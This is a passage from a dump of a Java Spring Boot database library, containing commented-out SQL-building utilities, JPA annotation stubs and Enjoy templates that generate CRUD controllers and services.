getSelect(cls);\n//\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n//\t\tsql.append(WHEREOK);\n//\t\tList<Object> values = new ArrayList<Object>();\n//\t\tif(CollectionUtil.isNotEmpty(params)){\n//\t\t\tfor (Entry<String, Object> entry : params.entrySet()) {\n//\t\t\t\tString key = entry.getKey();\n//\t\t\t\tObject value = entry.getValue();\n//\t\t\t\tsql.append(AND).append(key).append(EQUAL);\n//\t\t\t\tvalues.add(value);\n//\t\t\t}\n//\t\t}\n//\t\tsqlContext.setParams(values.toArray());\n//\t\treturn sqlContext;\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t *\n//\t * @param sql\n//\t *            查询语句\n//\t * @param params\n//\t *            查询参数\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getSelect(StringBuilder sql, Map<String, Object> params) {\n//\t\tif(sql!=null && !StrUtil.containsAnyIgnoreCase(sql,\"where\") && !StrUtil.containsAnyIgnoreCase(sql,\"limit\")\n//\t\t\t\t&& !StrUtil.containsAnyIgnoreCase(sql,\"order\")){\n//\t\t\tsql.append(WHEREOK);\n//\t\t}\n//\t\tList<Object> values = new ArrayList<Object>();\n//\t\tfor (Entry<String, Object> entry : params.entrySet()) {\n//\t\t\tString key = entry.getKey();\n//\t\t\tObject value = entry.getValue();\n//\t\t\tsql.append(AND).append(key).append(EQUAL);\n//\t\t\tvalues.add(value);\n//\t\t}\n//\t\treturn new SqlContext(sql, values.toArray());\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t *\n//\t * @param cls\n//\t *            类对象\n//\t * @param page\n//\t *            当前页码\n//\t * @param rows\n//\t *            每页条数\n//\t * @param params\n//\t *            查询参数\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getSelect(Class<?> cls, int page, int rows, Map<String, Object> params) {\n//\t\tSqlContext sqlContext = getSelect(cls, params);\n//\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n//\t\tsql.append(LIMIT);\n//\t\tsql.append((page - 1) * rows);\n//\t\tsql.append(LINK);\n//\t\tsql.append(rows);\n//\t\treturn sqlContext;\n//\t}\n//\tpublic static String getMySQlPageSQL(String sqlStr, int page, int rows) {\n//\t\tStringBuilder sql = new StringBuilder(sqlStr);\n//\t\tsql.append(LIMIT);\n//\t\tsql.append((page - 1) * rows);\n//\t\tsql.append(LINK);\n//\t\tsql.append(rows);\n//\t\treturn sql.toString();\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t *\n//\t *            类对象\n//\t * @param page\n//\t *            当前页码\n//\t * @param rows\n//\t *            每页条数\n//\t * @param params\n//\t *            查询参数\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getSelect(String sql, int page, int rows, Map<String, Object> params) {\n//\t\tSqlContext sqlContext = getSelect(new StringBuilder(sql), params);\n//\t\tStringBuilder pageSql = sqlContext.getSqlBuilder();\n//\t\tpageSql.append(LIMIT);\n//\t\tpageSql.append((page - 1) * rows);\n//\t\tpageSql.append(LINK);\n//\t\tpageSql.append(rows);\n//\t\treturn sqlContext;\n//\t}\n//\n//\t/**\n//\t * 构建count语句(查询语句中主FROM必须大写，其他from小写)\n//\t *\n//\t *            类对象\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getCount(SqlContext sqlContext) {\n//\t\tsqlContext.setSql(getCount(sqlContext.getSql()));\n//\t\treturn sqlContext;\n//\t}\n//\n//\t/**\n//\t * 构建count语句(查询语句中主FROM必须大写，其他from小写)\n//\t *\n//\t *            类对象\n//\t * @return sql语句\n//\t */\n//\tpublic static String getCount(String sql) {\n//\t\tint num = 0;\n//\t\tString xing = \"*\";\n//\t\tStringBuilder sb = new StringBuilder();\n//\t\tfor (char cr : sql.toCharArray()) {\n//\t\t\tif (')' == cr) {\n//\t\t\t\tnum++;\n//\t\t\t}\n//\t\t\tif (num == 0) {\n//\t\t\t\tsb.append(cr);\n//\t\t\t} else {\n//\t\t\t\tsb.append(xing);\n//\t\t\t}\n//\t\t\tif ('(' == cr) {\n//\t\t\t\tnum--;\n//\t\t\t}\n//\t\t}\n//\t\tint i = sb.toString().replace(from, FROM).indexOf(FROM);\n//\t\tsql = sql.substring(i);\n//\t\tsql = sql.replace(order, ORDER).replace(limit, LIMIT).replaceAll(R_ORDER, EMPTY).replaceAll(R_LIMIT, EMPTY);\n//\t\treturn SELECTCOUNT.concat(sql);\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t *\n//\t * @param sql\n//\t *            类对象\n//\t * @param page\n//\t *            当前页码\n//\t * @param rows\n//\t *            每页条数\n//\t * @return sql语句\n//\t */\n//\tpublic static String getSelect(String sql, int page, int rows) {\n//\t\tStringBuilder pageSql = new StringBuilder(sql);\n//\t\tpageSql.append(LIMIT);\n//\t\tpageSql.append((page - 1) * rows);\n//\t\tpageSql.append(LINK);\n//\t\tpageSql.append(rows);\n//\t\treturn pageSql.toString();\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t */\n//\tpublic static SqlContext getByParams(Class<?> cls, String[] fields, Object... parmas) {\n//\t\tSqlContext sqlContext = getSelect(cls);\n//\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n//\t\tsql.append(WHERE);\n//\t\tList<Object> values = new ArrayList<Object>();\n//\t\tfor (int i = 0; i < fields.length; i++) {\n//\t\t\tif(i>0)sql.append(AND);\n//\t\t\tsql.append(fields[i]).append(EQUAL);\n//\t\t\tvalues.add(parmas[i]);\n//\t\t}\n//\t\tsqlContext.setParams(values.toArray());\n//\t\treturn sqlContext;\n//\t}\n//\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/TreeBuildUtil.java",
    "content": "// 非ORM核心功能，已移除\n/*\npackage io.github.wujun728.db.utils;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.util.StrUtil;\n//import org.springframework.util.StopWatch;\n\nimport java.util.*;\n\npublic class TreeBuildUtil {\n\n    /**\n     * 对象List转为Tree树形结构\n     *\n     * @param entityList       传进来的泛型List\n     * @param rootValue 根节点值,0或者-1或者自定义的值\n     * @param idField id,主键名称\n     * @param parentIdField  parentId,父级字段名称\n     * @return\n     * /\n    public static List<Map<String, Object>> buildTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField) {\n        return listToTree(entityList, rootValue, idField, parentIdField);\n    }\n    public static List<Map<String, Object>> listToTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField) {\n        return listToTree(entityList, rootValue, idField, parentIdField,\"children\");\n    }\n    public static List<Map<String, Object>> listToTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField, String childrenField) {\n//        StopWatch stopWatch = new StopWatch();\n//        stopWatch.start();\n        List<Map<String, Object>> treeMap = new ArrayList<>();\n        List<Map> listMap = BeanUtil.copyToList(entityList,Map.class);\n        Map<String, Map<String, Object>> entityMap = new Hashtable<>();\n        listMap.forEach(map -> entityMap.put(map.get(idField).toString(), map));\n        listMap.forEach(map -> {\n            Object pid = map.get(parentIdField);\n            if (pid == null || StrUtil.equals(pid.toString(), rootValue)) {\n                treeMap.add(map);\n            } else {\n                Map<String, Object> parentMap = entityMap.get(pid.toString());\n                if (parentMap == null) { //如果parentMap为空，则说明当前map没有父级，当前map就是顶级\n                    treeMap.add(map);\n                } else {\n                    List<Map<String, Object>> children = (List<Map<String, Object>>) parentMap.get(childrenField);\n                    if (children == null) {  //判断子级集合是否为空，为空则新创建List\n                        children = new ArrayList<>();\n                        parentMap.put(childrenField, children);\n                    }\n                    children.add(map);\n                }\n            }\n        });\n//        stopWatch.stop();\n//        stopWatch.getTotalTimeMillis();\n//        StaticLog.info(\"listToTree 耗时， \" + stopWatch.getTotalTimeMillis());\n        return treeMap;\n    }\n\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/Column.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Column {\n    String name() default \"\";\n\n    boolean unique() default false;\n\n    boolean nullable() default true;\n\n    boolean insertable() default true;\n\n    boolean updatable() default true;\n\n    String columnDefinition() default \"\";\n\n    String table() default \"\";\n\n    int length() default 255;\n\n    int precision() default 0;\n\n    int scale() default 0;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/Entity.java",
    "content": "package javax.persistence;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Documented\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Entity {\n    String name() default \"\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/Id.java",
    "content": "package javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Id {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/Index.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Index {\n    String name() default \"\";\n\n    String columnList();\n\n    boolean unique() default false;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/Table.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Table {\n    String name() default \"\";\n\n    String catalog() default \"\";\n\n    String schema() default \"\";\n\n    UniqueConstraint[] uniqueConstraints() default {};\n\n    Index[] indexes() default {};\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/Transient.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Transient {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/javax/persistence/UniqueConstraint.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface UniqueConstraint {\n    String name() default \"\";\n\n    String[] columnNames();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/bean_controller.enjoy",
    "content": "package #(packageName).controller;\n\nimport #(packageName).entity.#(className);\nimport #(packageName).service.#(className)Service;\nimport io.github.wujun728.db.record.Page;\nimport org.springframework.web.bind.annotation.*;\nimport java.util.*;\n\n/**\n * #(className)Controller - Bean模式\n * @author #(authorName)\n * @date #(dateStr)\n */\n@RestController\n@RequestMapping(\"/#(classNameLower)\")\npublic class #(className)Controller {\n\n    private final #(className)Service #(classNameLower)Service = new #(className)Service();\n\n    @PostMapping(\"/save\")\n    public Map<String, Object> save(@RequestBody #(className) entity) {\n        boolean ok = #(classNameLower)Service.save(entity);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @PostMapping(\"/update\")\n    public Map<String, Object> update(@RequestBody #(className) entity) {\n        boolean ok = #(classNameLower)Service.update(entity);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @PostMapping(\"/delete\")\n    public Map<String, Object> delete(@RequestBody #(className) entity) {\n        boolean ok = #(classNameLower)Service.delete(entity);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @GetMapping(\"/detail\")\n    public Map<String, Object> detail(@RequestParam Object #(pkFieldName)) {\n        #(className) entity = #(classNameLower)Service.findById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", entity);\n        return result;\n    }\n\n    @GetMapping(\"/list\")\n    public Map<String, Object> list() {\n        List<#(className)> data = #(classNameLower)Service.findAll();\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", data);\n        return result;\n    }\n\n    @GetMapping(\"/page\")\n    public Map<String, Object> page(@RequestParam(defaultValue = \"1\") int pageNumber,\n                                     @RequestParam(defaultValue = \"10\") int pageSize) {\n        Page<#(className)> page = #(classNameLower)Service.findPage(pageNumber, pageSize);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", page);\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/bean_entity_jpa.enjoy",
    "content": "package #(packageName).entity;\n\nimport javax.persistence.*;\nimport java.io.Serializable;\n#if(hasDate)\nimport java.util.Date;\n#end\n#if(hasBigDecimal)\nimport java.math.BigDecimal;\n#end\n\n/**\n * #(className) - JPA实体\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n */\n@Table(name = \"#(tableName)\")\npublic class #(className) implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n#for(col : columns)\n\n    /** #if(col.comment)#(col.comment)#else#(col.columnName)#end */\n#if(col.pk)\n    @Id\n#if(col.autoIncrement)\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n#end\n#end\n    @Column(name = \"#(col.columnName)\")\n    private #(col.javaType) #(col.fieldName);\n#end\n#for(col : columns)\n\n    public #(col.javaType) get#(col.fieldNameUpper)() {\n        return #(col.fieldName);\n    }\n\n    public void set#(col.fieldNameUpper)(#(col.javaType) #(col.fieldName)) {\n        this.#(col.fieldName) = #(col.fieldName);\n    }\n#end\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/bean_entity_mybatis.enjoy",
    "content": "package #(packageName).entity;\n\nimport com.baomidou.mybatisplus.annotation.*;\nimport java.io.Serializable;\n#if(hasDate)\nimport java.util.Date;\n#end\n#if(hasBigDecimal)\nimport java.math.BigDecimal;\n#end\n\n/**\n * #(className) - MyBatis-Plus实体\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n */\n@TableName(\"#(tableName)\")\npublic class #(className) implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n#for(col : columns)\n\n    /** #if(col.comment)#(col.comment)#else#(col.columnName)#end */\n#if(col.pk)\n#if(col.autoIncrement)\n    @TableId(value = \"#(col.columnName)\", type = IdType.AUTO)\n#else\n    @TableId(value = \"#(col.columnName)\", type = IdType.ASSIGN_ID)\n#end\n#else\n    @TableField(\"#(col.columnName)\")\n#end\n    private #(col.javaType) #(col.fieldName);\n#end\n#for(col : columns)\n\n    public #(col.javaType) get#(col.fieldNameUpper)() {\n        return #(col.fieldName);\n    }\n\n    public void set#(col.fieldNameUpper)(#(col.javaType) #(col.fieldName)) {\n        this.#(col.fieldName) = #(col.fieldName);\n    }\n#end\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/bean_service.enjoy",
    "content": "package #(packageName).service;\n\nimport #(packageName).entity.#(className);\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport java.util.*;\n\n/**\n * #(className)Service - Bean模式\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n */\npublic class #(className)Service {\n\n    /**\n     * 保存实体\n     */\n    public boolean save(#(className) entity) {\n        return Db.saveBean(entity);\n    }\n\n    /**\n     * 更新实体\n     */\n    public boolean update(#(className) entity) {\n        return Db.updateBean(entity);\n    }\n\n    /**\n     * 删除实体\n     */\n    public boolean delete(#(className) entity) {\n        return Db.deleteBean(entity);\n    }\n\n    /**\n     * 根据主键查询\n     */\n    public #(className) findById(Object #(pkFieldName)) {\n        return Db.findBeanById(#(className).class, #(pkFieldName));\n    }\n\n    /**\n     * 查询全部\n     */\n    public List<#(className)> findAll() {\n        return Db.findBeanList(#(className).class, \"SELECT * FROM #(tableName)\");\n    }\n\n    /**\n     * 条件查询\n     */\n    public List<#(className)> findByCondition(String sql, Object... params) {\n        return Db.findBeanList(#(className).class, sql, params);\n    }\n\n    /**\n     * 分页查询\n     */\n    public Page<#(className)> findPage(int pageNumber, int pageSize) {\n        return Db.findBeanPages(#(className).class, pageNumber, pageSize);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/model_class.enjoy",
    "content": "package #(packageName).model;\n\nimport io.github.wujun728.db.record.Model;\nimport javax.persistence.Table;\nimport javax.persistence.Id;\n\n/**\n * #(className) - Model模式(ActiveRecord)\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n *\n * 使用方式:\n *   #(className) item = #(className).dao.findById(1);\n *   new #(className)().set(\"name\", \"value\").save();\n *   item.set(\"name\", \"newValue\").update();\n *   item.delete();\n */\n@Table(name = \"#(tableName)\")\npublic class #(className) extends Model<#(className)> {\n\n    public static final #(className) dao = new #(className)().dao();\n\n    // ==================== 列名常量 ====================\n#for(col : columns)\n    public static final String #(col.columnNameUpper) = \"#(col.columnName)\";\n#end\n\n    // ==================== 便捷getter方法 ====================\n#for(col : columns)\n\n    public #(col.javaType) get#(col.fieldNameUpper)() {\n        return get(#(col.columnNameUpper));\n    }\n#end\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/model_controller.enjoy",
    "content": "package #(packageName).controller;\n\nimport #(packageName).model.#(className);\nimport #(packageName).service.#(className)Service;\nimport io.github.wujun728.db.record.Page;\nimport org.springframework.web.bind.annotation.*;\nimport java.util.*;\n\n/**\n * #(className)Controller - Model模式\n * @author #(authorName)\n * @date #(dateStr)\n */\n@RestController\n@RequestMapping(\"/#(classNameLower)\")\npublic class #(className)Controller {\n\n    private final #(className)Service #(classNameLower)Service = new #(className)Service();\n\n    @PostMapping(\"/save\")\n    public Map<String, Object> save(@RequestBody Map<String, Object> data) {\n        #(className) model = new #(className)();\n        model.put(data);\n        boolean ok = #(classNameLower)Service.save(model);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @PostMapping(\"/update\")\n    public Map<String, Object> update(@RequestBody Map<String, Object> data) {\n        #(className) model = new #(className)();\n        model.put(data);\n        boolean ok = #(classNameLower)Service.update(model);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @DeleteMapping(\"/delete\")\n    public Map<String, Object> delete(@RequestParam Object #(pkFieldName)) {\n        boolean ok = #(classNameLower)Service.deleteById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @GetMapping(\"/detail\")\n    public Map<String, Object> detail(@RequestParam Object #(pkFieldName)) {\n        #(className) model = #(classNameLower)Service.findById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", model != null ? model.getAttrs() : null);\n        return result;\n    }\n\n    @GetMapping(\"/list\")\n    public Map<String, Object> list() {\n        List<#(className)> data = #(classNameLower)Service.findAll();\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", data);\n        return result;\n    }\n\n    @GetMapping(\"/page\")\n    public Map<String, Object> page(@RequestParam(defaultValue = \"1\") int pageNumber,\n                                     @RequestParam(defaultValue = \"10\") int pageSize) {\n        Page<#(className)> page = #(classNameLower)Service.paginate(pageNumber, pageSize);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", page);\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/model_service.enjoy",
    "content": "package #(packageName).service;\n\nimport #(packageName).model.#(className);\nimport io.github.wujun728.db.record.Page;\nimport java.util.*;\n\n/**\n * #(className)Service - Model模式\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n */\npublic class #(className)Service {\n\n    /**\n     * 保存Model\n     */\n    public boolean save(#(className) model) {\n        return model.save();\n    }\n\n    /**\n     * 更新Model\n     */\n    public boolean update(#(className) model) {\n        return model.update();\n    }\n\n    /**\n     * 删除Model\n     */\n    public boolean delete(#(className) model) {\n        return model.delete();\n    }\n\n    /**\n     * 根据主键删除\n     */\n    public boolean deleteById(Object #(pkFieldName)) {\n        return #(className).dao.deleteById(#(pkFieldName));\n    }\n\n    /**\n     * 根据主键查询\n     */\n    public #(className) findById(Object #(pkFieldName)) {\n        return #(className).dao.findById(#(pkFieldName));\n    }\n\n    /**\n     * 查询全部\n     */\n    public List<#(className)> findAll() {\n        return #(className).dao.findAll();\n    }\n\n    /**\n     * 自定义SQL查询\n     */\n    public List<#(className)> find(String sql, Object... paras) {\n        return #(className).dao.find(sql, paras);\n    }\n\n    /**\n     * 查询第一条\n     */\n    public #(className) findFirst(String sql, Object... paras) {\n        return #(className).dao.findFirst(sql, paras);\n    }\n\n    /**\n     * 分页查询\n     */\n    public Page<#(className)> paginate(int pageNumber, int pageSize) {\n        return #(className).dao.paginate(pageNumber, pageSize, \"SELECT *\", \"FROM #(tableName)\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/record_controller.enjoy",
    "content": "package #(packageName).controller;\n\nimport #(packageName).service.#(className)Service;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport org.springframework.web.bind.annotation.*;\nimport java.util.*;\n\n/**\n * #(className)Controller - Record模式\n * @author #(authorName)\n * @date #(dateStr)\n */\n@RestController\n@RequestMapping(\"/#(classNameLower)\")\npublic class #(className)Controller {\n\n    private final #(className)Service #(classNameLower)Service = new #(className)Service();\n\n    @PostMapping(\"/save\")\n    public Map<String, Object> save(@RequestBody Map<String, Object> data) {\n        Record record = new Record();\n        record.setColumns(data);\n        boolean ok = #(classNameLower)Service.save(record);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @PostMapping(\"/update\")\n    public Map<String, Object> update(@RequestBody Map<String, Object> data) {\n        Record record = new Record();\n        record.setColumns(data);\n        boolean ok = #(classNameLower)Service.update(record);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @DeleteMapping(\"/delete\")\n    public Map<String, Object> delete(@RequestParam Object #(pkFieldName)) {\n        boolean ok = #(classNameLower)Service.deleteById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", ok ? 0 : -1);\n        result.put(\"msg\", ok ? \"success\" : \"fail\");\n        return result;\n    }\n\n    @GetMapping(\"/detail\")\n    public Map<String, Object> detail(@RequestParam Object #(pkFieldName)) {\n        Record record = #(classNameLower)Service.findById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", record != null ? record.getColumns() : null);\n        return result;\n    }\n\n    @GetMapping(\"/list\")\n    public Map<String, Object> list() {\n        List<Record> records = #(classNameLower)Service.findAll();\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", records);\n        return result;\n    }\n\n    @GetMapping(\"/page\")\n    public Map<String, Object> page(@RequestParam(defaultValue = \"1\") int pageNumber,\n                                     @RequestParam(defaultValue = \"10\") int pageSize) {\n        Page<Record> page = #(classNameLower)Service.paginate(pageNumber, pageSize);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", page);\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/record_service.enjoy",
    "content": "package #(packageName).service;\n\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport java.util.*;\n\n/**\n * #(className)Service - Record模式\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n */\npublic class #(className)Service {\n\n    private static final String TABLE = \"#(tableName)\";\n\n    /**\n     * 保存Record\n     */\n    public boolean save(Record record) {\n        return Db.save(TABLE, record);\n    }\n\n    /**\n     * 更新Record（根据主键）\n     */\n    public boolean update(Record record) {\n        return Db.update(TABLE, record);\n    }\n\n    /**\n     * 根据主键删除\n     */\n    public boolean deleteById(Object #(pkFieldName)) {\n        return Db.deleteById(TABLE, #(pkFieldName));\n    }\n\n    /**\n     * 根据主键查询\n     */\n    public Record findById(Object #(pkFieldName)) {\n        return Db.findById(TABLE, #(pkFieldName));\n    }\n\n    /**\n     * 查询全部\n     */\n    public List<Record> findAll() {\n        return Db.findAll(TABLE);\n    }\n\n    /**\n     * 查询第一条\n     */\n    public Record findFirst(String sql, Object... paras) {\n        return Db.findFirst(sql, paras);\n    }\n\n    /**\n     * 自定义SQL查询\n     */\n    public List<Record> find(String sql, Object... paras) {\n        return Db.find(sql, paras);\n    }\n\n    /**\n     * 分页查询\n     */\n    public Page<Record> paginate(int pageNumber, int pageSize) {\n        return Db.paginate(pageNumber, pageSize, \"SELECT *\", \"FROM \" + TABLE);\n    }\n\n    /**\n     * 条件分页查询\n     */\n    public Page<Record> paginate(int pageNumber, int pageSize, String where, Object... paras) {\n        return Db.paginate(pageNumber, pageSize, \"SELECT *\", \"FROM \" + TABLE + \" \" + where, paras);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/sql_controller.enjoy",
    "content": "package #(packageName).controller;\n\nimport #(packageName).service.#(className)Service;\nimport io.github.wujun728.db.record.Page;\nimport org.springframework.web.bind.annotation.*;\nimport java.util.*;\n\n/**\n * #(className)Controller - SQL模式\n * @author #(authorName)\n * @date #(dateStr)\n */\n@RestController\n@RequestMapping(\"/#(classNameLower)\")\npublic class #(className)Controller {\n\n    private final #(className)Service #(classNameLower)Service = new #(className)Service();\n\n    @PostMapping(\"/save\")\n    public Map<String, Object> save(@RequestBody Map<String, Object> data) {\n        long id = #(classNameLower)Service.save(data);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", id);\n        return result;\n    }\n\n    @PostMapping(\"/update\")\n    public Map<String, Object> update(@RequestParam #(pkJavaType) #(pkFieldName), @RequestBody Map<String, Object> data) {\n        int rows = #(classNameLower)Service.update(#(pkFieldName), data);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", rows);\n        return result;\n    }\n\n    @DeleteMapping(\"/delete\")\n    public Map<String, Object> delete(@RequestParam #(pkJavaType) #(pkFieldName)) {\n        int rows = #(classNameLower)Service.deleteById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", rows);\n        return result;\n    }\n\n    @GetMapping(\"/detail\")\n    public Map<String, Object> detail(@RequestParam #(pkJavaType) #(pkFieldName)) {\n        Map<String, Object> data = #(classNameLower)Service.findById(#(pkFieldName));\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", data);\n        return result;\n    }\n\n    @GetMapping(\"/list\")\n    public Map<String, Object> list() {\n        List<Map<String, Object>> data = #(classNameLower)Service.findAll();\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", data);\n        return result;\n    }\n\n    @GetMapping(\"/page\")\n    public Map<String, Object> 